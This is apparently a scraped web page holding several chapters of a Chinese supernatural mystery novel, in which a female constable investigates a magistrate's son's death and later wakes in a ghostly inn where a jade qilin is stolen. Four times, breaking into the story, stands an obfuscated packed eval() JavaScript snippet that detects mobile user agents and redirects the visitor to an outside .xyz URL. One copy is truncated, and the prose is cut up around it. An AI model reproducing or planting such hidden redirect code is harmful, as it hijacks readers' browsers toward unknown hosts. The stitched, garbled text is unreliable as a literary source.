;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296996|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 他面色略显苍白，看着还有几分倦怠的神色。 他步入花厅，见到众人，忙快走几步拱手道：“不知几位前来，为了何事？” “不敢当不敢当。”张贺立刻放下茶盏起身回礼，然后叹了口气，“想必赵公子的消息随后就会有人传过来，金公子请节哀。县令大人悲痛万分，下令严查，我等也是奉命行事，有些情况需向公子了解一下。” “你你你……你说什么？你刚刚在说什么？”金玉明瞳孔骤然一缩，连退几步，不可置信道，“这这这叫我如何相信？昨日还曾与他一同饮茶，怎的一夜之间……” 他语无伦次，呼吸急促，眼眶迅速泛红。 苏却问：“昨日公子与赵公子在一起？” 金玉明神色黯然，声音颤抖道：“是，大概是戌时，在我这书房坐了约莫半个时辰，喝了盏茶，聊了些闲话便走了。” “聊了些什么？赵公子当时可有异样？” “并无什么特别，不过是些市井趣闻，偶尔也谈及家中绸缎庄的生意。他与平日无异，并未见烦闷或忧心之色。”他顿了顿，补充道，“也不曾说近日有什么困扰。” “他离去后，公子你又做了什么？”苏却继续问。 “他走后，我独自看了几页账本，觉得乏累头疼，便早早歇下了。一觉直到方才被人唤醒……”金玉明说到这里，猛地抬起头，像是突然意识到了什么，眼中闪过一丝怒气，“你们，你们这般追问，莫非是在怀疑我？我我我我我为何要害我表弟？” “金公子息怒，息怒！”张贺连忙上前打圆场，赔着笑道，“绝非此意，绝非此意！只是循例问话，看看赵公子昨日最后见了哪些人，说过什么话，或许能从中找到些线索。您千万别多心。” 片刻后，苏却起身告辞。 金玉明勉强起身相送。 至花厅门口，他忽然停住，轻轻叹了口气：“文安表弟……平日来往之人不少，除了我，还有周主簿的次子周远至。” 他语气哀痛，声音带着一丝恳求：“他或许有些任性妄为，得罪了不少人，外间关于他的传言甚多，难听的话也不少，但但但他绝非十恶不赦之徒……还望几位，能还他一个公道。” 苏却目光在他脸上停留一瞬，并未多言。 转身离开金家时，门外冬日暖阳正好。 张贺对着苏却道：“金家是城里数得着的富户，开着最大的绸缎庄，但背后的靠山就是县令，赵文安作为纽带，金家绝不可能自断关联。看这金玉明的样子，倒不像说谎。” “没有他人痕迹，赵文安之死无疑。”苏却道。 张贺疑惑道：“那你在这追查什么？” 苏却回答：“熟悉一下文城大户。” 张贺无言以对，小五却在他们身后一个劲儿地笑。 “笑什么？”张贺怒道。 “张头儿以前总是皱眉，每天不是骂这个就是训那个。这几年苏头儿可没少让张头儿吃瘪啊，我们是高兴。”说罢就和其他几个衙役嘻嘻哈哈笑作一团。 文城的这一天。 并没有因为死了一个醉汉和一个县令的儿子。 而有丝毫的不同。 18. 尘世（三） 尘世（三） 他们一行人离了金家，转而便往周主簿宅邸的方向去。 周家位于县衙后街，与衙门相隔极近，门庭却远不及金家气派，只一处收拾得干净整洁的三进院落。 张贺上前叩门，连敲了许久也毫无动静，既无人应声，也无人开门。 “奇了怪了，”张贺缩回手搓了搓，“这周主簿不在衙门当值，家里也没人？” 小五也上前敲，耐着性子等了许久，依旧大门紧闭。 “得了，”张贺摆了摆手，“干等着也不是办法。忙活这大半天，口干舌燥，弟兄们也乏了。前头拐角那家酒肆，羊肉汤和烧刀子都是一绝，不如先去垫垫肚子，暖和暖和身子再说。” 众人自是无异议，挑了个僻静位置坐下。 热腾腾的汤锅子端上来，几壶烫好的温酒下肚，身上的寒气渐渐被驱散，话也跟着多了起来。 个个嚷嚷着自己是海量，千杯不醉。 张贺已是眼神迷离，他大着舌头，用力拍了拍身旁苏却的肩膀，嘿嘿笑道：“要，要我说啊苏、苏老弟，你这年纪也不小了，整天就知道查案、巡街，家里冷锅冷灶冷炕头的，像什么话！听，听老哥一句劝，早日娶个知冷知热的媳妇儿才是正经。” 他凑得更近，满嘴酒气喷在苏却耳侧，声音却努力装得一本正经：“你看哥哥我，以前也跟你一样，轴！以为这辈子就拴在衙门里，为文城百姓鞠躬尽瘁！可这缘分来了，它挡都挡不住……嗝……你是不知道，有人等你回家，给你留盏灯，热口饭，那滋味……” 他说得起劲，开始极力推荐苏却家斜对门那个能言善道的媒婆杜大娘，仿佛只要苏却点头，明日就能洞房花烛，再痛痛快快地喝一顿喜酒。 苏却面无表情地听着。 她知道，今日这送醉汉归家的差事，怕是又落在自己头上了。 果不其然，结账出门时，方才那些自诩千杯不醉的汉子们，已是东倒西歪。 张贺更是刚走出酒肆没几步，便扶墙吐得天昏地暗。 苏却叹了口气。 张贺的家也离衙门不远。 他妻子娘家是城中颇有名气的医馆，夫妻二人在医馆旁自立门户开了间小药铺，日子过得还算殷实安稳。 叩开门，他妻子一见丈夫这般模样，又是心疼又是埋怨，连忙将人接了过去。 “有劳小苏了，真是，又给你添麻烦了。”张娘子连连道谢，目光在苏却身上一扫，“……你这左肩，瞧着有些不利索？” 苏却微怔，下意识动了动左肩。 晨起时就感到不对劲，没想到现在还是毫无缓和，想来举手动作间定是有些异样，被眼尖的张娘子看出来。 她并未多言，只道：“无碍，可能有些落枕。” “你等等。” 张娘子是个热心肠，又是医家出身，扶着张贺进屋后，又去柜里取出几帖膏药，塞到苏却手中：“这是我们铺子里自己配的舒筋活络膏，最是对症，你拿着用。” 苏却推辞不过，只得道谢收下。 离开药铺，她走进渐沉的暮色里。 回到自家小院时，天已擦黑。 然而，那间平日里总是漆黑冷清的屋子，此刻竟透出烛火的光亮。 苏却脚步一顿，立在门前，有一瞬间的恍惚。 曾几何时，她也是贪恋这种温暖的人。 可是…… 她推门而入，恰巧与一个正提着空食盒准备离开的妇人打了个照面。 她一愣，先是沉默，随即又低声唤道： “母亲。” “回来了？”妇人抬眼看了看她，脸上没什么表情，只淡淡道，“今日挺早。饭食都放在桌上，我先回去了。” “嗯。”苏却应了一声，顿了顿，又道，“饭食我会自己做，以后……您可以不用特意过来。” 妇人脚步未停，仿佛没听见她的话，只留下一句：“灶上还温着安神汤。” 身影便消失在院门外。 没有更多的言语，像是完成了一项例行差事。 睡前，苏却在热水里泡了好一会儿，又贴了张娘子给的膏药，再熟练地去灶边倒安神汤，仰头一饮而尽。 苦涩的滋味瞬间蔓延。 她需要这碗汤带来的宁静与沉睡。 否则一合眼，一片无际的火海便会吞噬她的身体。 翻涌着的烈焰，灼热的气浪，凄厉的哭喊，木材爆裂…… 一切都如此清晰，她就站在撕心裂肺的绝望里，只能眼睁睁看着，无法呼吸。 …… 翌日清晨，小五揉着脑袋赶到苏却家，本以为她今天又要睡过头，特意早点来叫她。 只见院门虚掩，苏却早已收拾利落，正准备出门。 “头儿，您今日起得好早。”小五打了个哈欠，“咱们今天这是要去哪儿？” “去周家。”苏却回答，“要了解赵文安，必得会一会那位周家次子，周远至。” 半道上正好遇见张贺，便一齐前往。 今日敲门后不过片刻，门内便传来脚步声。 开门的正是周远至。 他眼底带着些许血丝，面色亦是不佳。 “这是……张捕头？”他应该只认识张贺一人，见到众人，似是有些意外，随即侧身让开通路，动作斯文有礼，“几位一早前来，是衙门里有什么公务要找父亲吗？” 他的声音温和，语气也算客气。 “周公子，打扰了。确实是为公务，却不是找你父亲。”张贺见状，上前一步，语气比平日办案时缓和了几分，“关于赵公子的事，想来您应该也听说了。昨日我等也曾来府上拜会，叩门许久，却未见回应，心中有些记挂，不知府上昨日是否一切安好？ 周远至闻言，微微蹙眉：“昨日？” 他抬手按了按太阳穴，苦笑道：“实在对不住。前几日头疼难忍，我都早早服了药睡下了。许是睡得太沉，未曾听到叩门声。” “这可真是巧了，”张贺摸着下巴，“金家公子前儿个身子不适，周公子您今日瞧着气色也不佳。这刚入冬不久，天气多变，二位公子可都得多保重才是。” 周远至闻言，只是微微颔首：“不过是偶感风寒，并无大碍。” 接下来的问询，周远至的应对从容不迫，言语间对赵文安之死表达了震惊与惋惜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301600|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番问答下来，收获寥寥，只能作罢。 接下来张贺要去码头那边物色对象，苏却便让小五跟着张贺，那边情况杂，也能有个照应。 刚走出周家不远，忽听“啪”一声轻响，一颗小石子儿滴溜溜地滚到苏却脚前。 苏却脚步一顿，抬眼望去。 只见宋停斜倚在对面的墙根下，嘴里叼着根干草，正似笑非笑地看着她。 “哟，苏捕头，真巧啊。”他挑眉，“这大清早的，从周家出来？” 苏却目光平静地看着他。 面前这个人，与昨日那个狼狈的落汤鸡，判若两人。 他身材高挑，肤白，瘦弱，虽有笑意，但有愁容。 否则何至于跳河自尽。 只是这人实在奇怪。 辛苦救了他，还落了个多管闲事的埋怨。 苏却虽不能完全过目不忘，但也算观察入微。 此人自己并未见过，也无交集，可他张嘴就能叫出她的名字。 远远不如看起来嬉皮笑脸这般简单。 “宋停？”苏却叫道。 “嗯，是我。”宋停点头。 苏却问：“你认识周远至？” 宋停继续点头：“嗯，认识。” 苏却继续问：“那你是什么时候跳的河？” 宋停凑近了些，压低声音：“我要是说，我是前儿个半夜跳的，你信吗？” 苏却：“……” “欸欸欸你别走啊！”见苏却转身欲走，宋停连忙拦住，“我说的是实话！我真是半夜跳的！跟你这人说话怎么总是这样啊？你一定要问，我不说又不行，我说了你又不信，怎么我张嘴闭嘴都是错？” 苏却停下脚步，冷冷地看着他：“你认识我？” “岂止是认识？”宋停摊手，语气夸张，“我们还应该算是……同床共枕的情分呢。我还以为你是装作不认识我，原来你是真的什么都不记得了啊？” 苏却的脸色瞬间沉了下来。 “欸欸欸你怎么又生气了？”宋停见状，立刻举手掌心朝外，语气却依旧，“行行行，听你说，我闭嘴。” “要好好说话可以，”苏却冷声道，“如果你继续这样满口胡言乱语，我想我们话不投机。” 宋停沉默了片刻，目光扫过四周，确认无人留意这边，才缓缓开口，声音低沉而清晰： “那如果我告诉你，赵文安，是被周远至杀的呢？” 苏却瞳孔骤然一缩，死死盯住他。 宋停迎着她的目光，继续道：“如果这个还不够……你还想知道什么？只要你想知道，我都可以告诉你。” 他的声音带着一种蛊惑，一字一句，敲在苏却心上。 “只要你愿意相信我……” 他顿了顿，目光落在苏却紧绷的脸上，轻轻吐出三个字： “苏姑娘。” 最后这三个字，如同惊雷，猝然炸响在苏却耳边。 她心头剧震，浑身血液似乎都被冻结了一瞬。 顷刻无声。 最终，苏却紧抿的唇微微松动，声音干涩： “……去我家说吧。” 19. 尘世（四） 尘世（四） 宋停跟在苏却身后半步，两人一前一后，一路行去，颇不宁静。 道旁闲聊的，挑担卖货的，临街商铺的伙计，目光都悄悄落在两人身上。 瞧几眼，凑近了窃窃私语。 再瞧几眼，又朝着他们的背影指指点点。 苏却父母早逝，孑然一身，于几年前来到文城，凭借自己的拳脚本事，成了县衙里的小小捕头。 虽唤苏大娘一声母亲，是因为承其养育栽培之恩，但二人并不同住。 她自行置办了一处小院，除却公务缠身，平日鲜少与人往来。多是深居简出，行色匆匆。 起初，对门的杜大娘还念她独居，时常寻些由头过来闲谈几句。然苏却性情清冷，杜大娘也渐渐歇了心思，如今碰面，至多不过点头之交。 寻常百姓如有些纠纷琐事，也多偏爱寻资历老，脾气好的张贺处理。 故而这般引人注目，十成十是冲着她身后的这位。 可，如此关注下，并没人和宋停打招呼，反而好像唯恐避之不及。 以前张贺总说，做人做到苏却这般独来独往油盐不进，需要点本事。 苏却想，做人能做到像宋停这样，随时都能摆出一副泰然自若，甚至乐在其中的模样，恐怕需要更大的本事。 进了院门，宋停倒像是回了自己家，毫不拘束。 “苏大人，”他咂咂嘴，“你这院子瞧着不起眼，里头倒还挺宽敞。啧，比我那强多了，我那儿墙歪屋顶还漏，下雨天得拿盆接着。” 说着，他踱到灶房门口，朝里望了望。 “欸，苏大人，你平日里自己开火吗？我看你家伙什倒是齐全。我跟你说，别的我不敢夸口，包你有口福。” 进了正屋，他的目光扫过屋内仅有一张木桌、一把椅子、一张硬板床。 他倒是笑了，一字一顿地道：“我，可，不，打，地，铺。” 苏却额角青筋微跳：“……你……” “我思前想后，既然苏大人两次救我性命，想是有缘。”宋停仿佛全然未察觉她的语气。 “接下来，我打算正式搬进苏宅，成为捕头大人你的帮手，所以之后就要打扰苏大人一段时间了” 苏却：“……” 宋停继续道：“一来呢，端茶递水、洒扫庭院、洗衣做饭这些，没有我不会的；二来，你辛苦救回来的一条命，你总得看住了，总不能让我找着机会又去寻死，白白浪费了你的两番辛苦；这三来嘛……” “你想啊，我吃了你的饭，住了你的屋子，这嘴，自然就得管严实了。什么该说什么不该说，心里都得有数，对吧？吃人嘴软，拿人手短嘛！” 苏却：“……” 宋停又话锋一转，道：“当然了，苏大人千万别动气，更别想着是动手揍我一顿或是干脆把我了结算了。既然是你亲口要我来的，我也不打算走。毕竟我可是光明正大，跟着你走进这苏家大门的，街坊四邻那么多双眼睛瞧着看着。我要是今儿进来，伤了残了甚至没了出去，苏大人，这道理，你肯定比我懂……” 苏却问道：“……你，说完了吗？” 宋停长长舒了一口气：回道：“差不多了。” 苏却冷冷道：“那就闭嘴。” 宋停从善如流：“得嘞。” 苏却：“……” 她看向宋停。 宋停：“……” 他看回苏却。 两人沉默了一瞬。 苏却的目光带着毫不掩饰的怀疑。 终究是宋停肩膀微微垮下，叹了口气。 “抱歉，我有我无法全盘托出的内情，你有你无法公之于众的理由，而且说穿了，我不过就是个走投无路，在鬼门关前转了一圈，又被你拉回来的人而已。我确确实实，毫无恶意。” “可是……那天晚上，在河里，我本该死的。听说在水里虽然憋得难受，但只要熬过那一阵，就解脱了。为了避免有人救我，我特意挑了半夜，可当时我似乎听见耳边有人问了我一句话。” “问了什么？”苏却蹙眉道。 宋停压低了声音，在苏却耳边问：“你，信不信鬼神？” 苏却疑惑：“什么？” 宋停顿了顿，仿佛在回忆当时的场景：“我当时迷迷糊糊，并没来得及开口。然后，我就被你第一次救起来了。” “那个时候，你们有十个人，被困在一座诡异的小城，要解决当地的一件冥婚。我醒过来的时候，就看见你的身边正跟着赵、金、周，还有其他几个。” “桥洞里的醉汉，赵文安……他们都是死在那个小城的人。”他加重了语气，“而现在，他们真的死了。 苏却未言，只觉得自己像是听了个话本，一切都如天方夜谭匪夷所思。 见苏却仍是不信，宋停继续道：“苏却，你在那里曾经左肩受伤，而现在身体是否有异样？” 苏却下意识地动了动左肩。 僵硬的肩头此刻仿佛被他的话唤醒，竟开始隐隐作痛起来。 她表情虽未显露，但细微的动作并没有逃过宋停的眼睛。 “果然如此。”宋停见状，语气愈发笃定，“苏却，我觉得，我们怕是……撞鬼了。或者说，经历了一些无法用常理解释的事情。那个地方，那些事……恐怕并不是梦。” 见苏却仍紧抿着唇不言语，他语速加快：“不然你要怎么解释这一切？赵文安和那醉汉的死？你肩上这来历不明的伤？最怪的是，你竟然对那段经历毫无印象，你怎么可能完全不记得？” “你之前说，”苏却终于开口，将话题拉回起点，“周远至杀人，是为何？” 宋停愣了一下，随即反应过来。 “他们三人，在文城谁人不知？自从十几年前赵政寅当了文城县令，金家和周家就跟着鸡犬升天。文城的钱财、权力，几乎都攥在这三家手里。周远至此人，表面温良，实则最是虚伪阴险，他们周家全家都是这个做派。” 他继续道：“在那地方，能用阳寿做交易。他们三人不仅暗中谋划，甚至行窃明抢，最后在众目睽睽之下，确实是周远至动了手，把赵文安给……杀了。” 苏却依旧沉默。 宋停此人本身疑点颇多暂且不论，他所说的这些，也实在令人难以相信。 然而，他对于文城金、周、赵三家关系的剖析，却有几分道理。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307619|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她不是文城人，很多事也不能大张旗鼓地问。 所以她以前一直将目光局限于过往的线索，辗转多地，历时多年，却忘了许多阴谋，往往要事后回溯，方能窥见藏于暗处之人得意忘形的模样。 他们如今的显赫，与十二年前那场变故之间，是否藏着某种不为人知的关联？ 苏却觉得，她不能再等下去了。 她必须做点什么，至少，要先确认一些事情。 于是，她写了一张告假的条子，送到了张贺家中，请张娘子代为转交。 张娘子见到她，依旧是满脸关切，听闻她说自己身体不适，又塞了许多丸散膏丹给她。 回到家中时，只见宋停不知从哪个角落翻出一床半旧不新的被褥，正铺在她床前的地板上，跪在那儿仔细地捋平边角，又拍了拍，试了试软硬。 见苏却回来，他抬起头，难得露出一个算得上稳重的笑容。 苏却冷冷瞥了他一眼，未置一词。 心下却也存了几分看看他究竟意欲何为的念头。 毕竟他这般千方百计要留下，总有所图。 县令给出的三日之期，转眼便过。 一大早，宋停就找苏却讨了些铜钱，出了门。回来时手里提了不少时蔬鲜肉，甚至还有一条活蹦乱跳的鱼。他在灶房里捣鼓了大半日，竟真的摆出一桌像模像样的饭菜来。 四菜一汤，热气腾腾。 他将碗筷摆好，搓着手：“既是收留了我，我也不能白吃白住，总得知晓主家的口味喜好。你尝尝，若是咸了淡了，明日我再改进。” 苏却看着满桌菜肴，沉默片刻后，终究还是拿起筷子，挑了几样看起来无害的菜蔬和一小块鱼肉，浅尝了几口，味道竟出乎意料地不错。 小五来找苏却的时候，已经是傍晚了。 “头儿，你身子好些了吗？”小五探头进来，先是满脸惊疑，小心地指了指在灶屋打扫整理的宋停，对着苏却挤眉弄眼，“他他他怎么在这？”。 “嗯。”苏却应了一声，但没继续回答。 “赵公子那案子，张头儿已经处置了。”小五垂头丧气道，“顶事儿的那家伙也是个不中用的，没扛住几下折腾，就……就没气儿了。可大老爷还是不解气，觉得我们办事不力，除了张头儿，我们几个都吃了挂落，挨了罚。” 苏却只点了点头。 “头儿，你就一点不憋屈吗？”小五哭丧着脸，声音里带上了委屈，“你知道我被罚去哪儿了吗？我得天天早起去衙门的灶房帮工，担水劈柴，烟熏火燎的，足足一个月啊！还有你，你知道你被罚去哪儿了吗？” “去哪？”苏却问，声音平静。 “是籍库！”小五几乎是喊出来的，“说从明日开始清扫。那里头，积年的老卷宗是堆积如山，听说好久没人好好打理了，耗子都在里面做了窝。而且……无令不得出！这跟把头儿你关进大狱有啥区别？” 苏却闻言，面上却无半分波澜。 即便没有这处罚，她也正思忖着，该如何寻个由头，去那里待上一段时日。 籍库。 那正是她，平日无事时，最常偷偷独自一人前去的地方。 20. 窃宝（一） 窃宝（一） 苏却在一片熟悉的黑暗中睁开了眼。 原先应该在书架边整理旧籍的她，现在却躺在冷硬的石板上。脊背隐隐传来的凉意让她撑起身，环顾四周，视野所及唯有漆黑一片，以及不远处那唯一的光源。 一家孤零零的客栈。 恢复意识的瞬间，无数混乱的片段与声音如洪水一般，疯狂地涌入她的脑海。 空洞的眼眶、剥了皮的尸体、阴森的喜堂、蜂拥的纸人…… 没有犹豫，她站起身，拍了拍灰尘，走向客栈，撩袍踏入。 客栈内里冷清、空旷。 几张老旧木桌分散地摆在大堂中，烛台上蜡泪层层堆积，烛火摇曳不定，依旧没有换新烛。 苏却寻了个靠墙的角落位置坐下。随后，陆陆续续又有人进来。 最先进来的是个身材高挑的男子，墨发高束，穿着一身灰色劲装，浓眉大眼，分外有神。 接着是一位约莫四十余岁的中年男子，面容敦厚，衣着普通，脸上带着不安。 第三位是个身着紫色劲装的女子，长发编成数缕细辫。她跃过门槛，姿态颇为矫健。 第四是个少年，看起来不过十五六岁年纪，脸上还带着未脱的稚气，还未进门就四下看着，十分谨慎。 第五位是另一位女子，与先前那位截然不同。她面容姣好，身着月白色齐胸裙，乌发如云，仅用一支玉簪松松绾住，落落大方。 第六个是个缩着肩膀的年轻男子，面容清瘦，眼神躲闪。 加上苏却，一共七人。 最后一人才刚踏入门槛，身后的客栈木门便自发关上。 这突如其来的动静格外刺耳，吓得众人都打了个哆嗦。 最终，还是那名少年先忍不住，小声问道：“……你们有谁知道，我们为什么会在这吗？这究竟是什么地方？” 可还没等有人回答，账台处就有了动静。 来人一袭长衫，嘴角带笑，正是掌柜。 “诸位辛苦了，在下乃此间客栈掌柜，二楼有厢房可供诸位整理休息。晚些时候，自然会有人前来告知诸位此行目的，请诸位稍安勿躁，静心等候。” 他目光淡漠，声音无波，说罢，便消失离开。 与此同时，众人也陷入了沉默。 很明显，七人中，并没有任何一个是第一次遭遇这件事的人。 大家的表现都太过镇定，即便是刚刚那个提问的少年。 “我叫任世楚。”那高束发的男子站起身走到大堂中央，声音洪亮，“我平时胆子还算大，也有点功夫底子。若是诸位信得过我，我们可以合作，一起找出离开这里的法子。” 那中年男子闻言，仔细打量了他一下，迟疑道：“任？哪一个任？这个姓氏可不多见。莫非是……皇姓？” 任世楚哈哈一笑：“天下之大，同姓何止一家啊。” 他继续道：“既然要合作，诸位不妨也自报一下家门，互相有个了解。” 中年男子忙点头道：“是极是极。在下王纪福，做些小本买卖。看诸位年岁大多与我的儿女相仿，若是不嫌弃，唤我一声福叔便好。” 那身穿暗紫色劲装的女子抱拳，声音干脆利落：“唐柳一。没什么别的，怎么叫我都行。” 着月白裙的女子则微微起身，福了一福：“小女子姜云姮见过诸位，请多多指教。” “苏却。”她并未多说其他。 少年道：“我叫谢天戎。” 缩着的青年声音细若蚊蚋：“……我我我叫严丰廷。” “好！”任世楚抚掌，“现下肯定记不住这么多名字，后续我们多提一提，多说一说，彼此就都熟了。那么接下来，我便说说我的规则……” “且慢。”谢天戎忽然出声打断，“你并非掌柜，为何由你来定规则？” 任世楚并未气恼，反而笑了笑：“他说他的，我说我的。你不如先听听？” 谢天戎抿了抿唇，没再说什么。 任世楚继续道：“依我之见，在此地行动，首要便是：多看，多记，少做事。每日出去调查后，到未时，最晚申时必须回到客栈，方便有更多时间应对。凡有发现，无论巨细，都需回来与众人商议过后，再决定如何行动。” “其二，每日命筹必须公开，所有人都必须无条件优先帮助末位之人，若情况危急，兑换何物、耗费几何、于何时兑换，绝不可隐瞒，需坦诚相告。” 他顿了顿，道：“大家可以一起活，就别白白送死了。” 堂内一片沉寂。 烛火噼啪作响，映照着众人阴晴不定的面孔。 片刻后，姜云姮轻声开口：“任公子高义。只是，公子你如何能保证，在集众人之力相助下，那身处末位之人，定能安然无恙？此法或许适用于之前的经历，但此次或许人物、情境皆有不同。我们要如何将身家性命，全然托付于一个未知的计划？” 她抬起眼：“故而，恕小女子无法应允加入。” 任世楚仔仔细细地将姜云姮打量了一番，唇角笑意更深：“既如此，任某也不强求。随时欢迎姑娘回心转意。” “我也不加入。”苏却的声音清冷。 任世楚目光转向她，似乎想说什么。 就在这时。 “叩、叩、叩。” 客栈那陈旧的木门，忽然被敲响了。 堂内所有人瞬间噤声，目光齐刷刷地投向门口。 任世楚快步移到门边，贴在门后，沉声问道：“门外何人？” 门外传来一道带着笑意的声音：“贵客临门，我家老爷特遣小的们前来相迎。赏宝大会吉时将至，还请贵客们移步太守府。” 任世楚回头与众人交换了一个眼神，这才小心翼翼地拉开一道门缝。 只见门外站着数名仆从，每人手中都提着一盏橘光灯笼。 为首一人见门开了，更是上前一步，躬身行礼。 “各位贵客远道而来，舟车劳顿，辛苦了。我家老爷日盼夜盼，总算将诸位盼来了。府中早已备下薄酒，赏宝大会马上就要开始了，还请诸位贵客赏光，随我等一齐前往。外头路黑，诸位需跟着灯笼，千万小心脚下。” 灯笼烛光映照着一张张笑脸，却莫名地让人感到一丝寒意。 众人只得跟着这些仆从走出客栈。 门外夜色浓重。 除了仆从手中灯笼照亮的一小圈，四周什么都看不清。 仆从们步履轻快，左拐右绕，走了约莫一盏茶的时间，前方豁然开朗。 一座巍峨的府邸出现在眼前。 大门高耸，石狮威严，檐下悬挂着数盏硕大的灯笼，将太守府牌匾上的鎏金大字照得金光闪闪，气派非凡。 早有两列衣着更为精致的仆从候在门前。 见他们到来，行礼后，立刻上前替换了引路的仆从，然后转身引着他们向内走去。 府内亦是灯火通明。 穿过庭院，走过回廊，沿途所见，亭台楼阁，假山流水， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314226|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无不精致。 但除了他们的脚步声，竟听不到其他任何声响，完全不像是正在举办盛会，且广邀宾客的模样，反而安静得令人不敢喘息。 行至一处楼阁前，领路的仆从再次停下。 又有四名身着彩衣的丫鬟迎上前来，微笑着示意众人跟上。 丫鬟们引着他们步入楼阁。 阁内装饰极尽奢华。 在烛光的映照下，光陈列的各式珍玩玉器，就已令人目眩。更不用说楼梯扶手，都是以玉石镶嵌而成，触手生温。 他们一路，直到顶楼。 顶层是一个极为开阔的空间，厅内灯火亮如白昼，四面皆窗，可俯瞰府邸夜景。 隐隐可见下方有人头攒动，却与他们一路过来所见之景并不相符。 厅堂中央，设有一座半人高的白玉石台，铺着昂贵的深色绸缎。 绸缎之上，赫然陈列着一件物品。 那是一尊通体剔透踏云而行的玉雕麒麟，麟角峥嵘，目蕴神光，每一片鳞甲都栩栩如生。 玉雕温润细腻，玉质极为纯净，周身笼着的柔和的光晕，将其与周围的一切凡物区分开来。 久久注视，只觉它下一刻几乎要腾空而去。 确实是稀世珍宝。 仅仅是远远看着，便心生爱惜与敬畏。 “我的天老爷！”福叔瞪大了眼睛，忍不住喃喃出声，声音因激动而有些发颤，“这，这若是真品……怕是……宫里的皇帝，也未必能有这等宝贝啊！” 其他人虽未出声，但也难掩震撼。 这时，一位身着锦袍的中年男子在几名随从的簇拥下走上前来。 “各位远道而来，辛苦了。今日恰是赏宝大会的最后一日，好在诸位都赶上了，真是缘分！本官素来喜交天下豪杰，今日借此宝物，与诸位共赏，亦是人生一大乐事！诸位请自行观赏，不必拘礼。” 众人闻言，稍稍放松，便小心翼翼地围到石台边观赏玉麒麟，口中不时发出惊叹。 苏却扫了眼四周。 顶层厅堂屋顶极高，由数根粗壮的木柱支撑，木柱上绘满了祥云福纹。 四面窗户皆大开，夜风徐徐吹入。 整个厅中，除了太守、他们七人及仆从丫鬟，再无他人。 她的目光再次落回那玉麒麟上。 可，就在一刹那。 楼阁内所有的灯火，在一瞬间，全部熄灭。 顶楼厅堂陷入彻底的黑暗之中。 “啊！” “怎么回事？” “烛火怎么灭了？” 惊呼声立刻在黑暗中响起。 “勿慌！站在原地勿动！”任世楚的声音响起，试图维持秩序。 太守也急声道：“来人！快！掌灯！快掌灯！” 一阵阵急促的脚步来来往往。 几个仆从终于慌慌张张地提着灯笼，气喘吁吁地赶来。 微光亮起，众人惊魂未定，面面相觑。 而太守却急切地推开身前的随从，一个箭步冲到中央的白玉石台前。 绸缎依旧铺在台上。 然而…… 那尊巧夺天工、价值连城的玉麒麟，已然消失无踪。 只留下一个空荡荡的石台。 太守的脸色瞬间变得惨白如纸，身体晃了一晃，几乎站立不住，指着那空台，嘴唇哆嗦着，半晌，才发出一声撕心裂肺的嘶吼： “宝、宝物！我的宝物呢？！不见了！不见了！” 21. 窃宝（二） 窃宝（二） 众人几乎是被太守府的护院兵丁推搡着，跌跌撞撞押回客栈的。 客栈的木门在他们身后“嘭”的一声被狠狠摔上，震得灰尘簌簌落下。 唐柳一愤愤不平扑到门边，用尽力气拍打门板。 “欸！我说你们讲不讲道理！你们那么大个玉麒麟，说没就没了，就光为难我们这些外人？我们两手空空，那东西是能塞进怀里还是能吞进肚子里？开门！放我们出去！凭什么关着我们！” 她一边嚷，一边不死心地透过门缝往外瞧，可除了一片漆黑和隐约透进来的灯笼光，什么也看不清。 她的手掌拍得通红，门外人纹丝不动，连一声呵斥也无。 不过倒也不是全无收获。 至少确定了，外头确实有人守着，且是油盐不进的那种。 “省省力气吧，唐姑娘。”任世楚甩了甩被扭痛的手腕，叹了口气，率先在木桌旁坐下，“他们只听命于刚才那个太守，与他们争辩，无异于对牛弹琴。眼下人为刀俎，我为鱼肉，还是静下心来从长计议吧。” 闻言，唐柳一狠狠踹了木门一脚，抱着胳膊，转而倚靠在账台边。 谢天戎坐在任世楚对面，试探问道：“任大哥，那我们，是不是只要找到盗宝之人，或者寻回那只玉麒麟，就能离开这里了？” 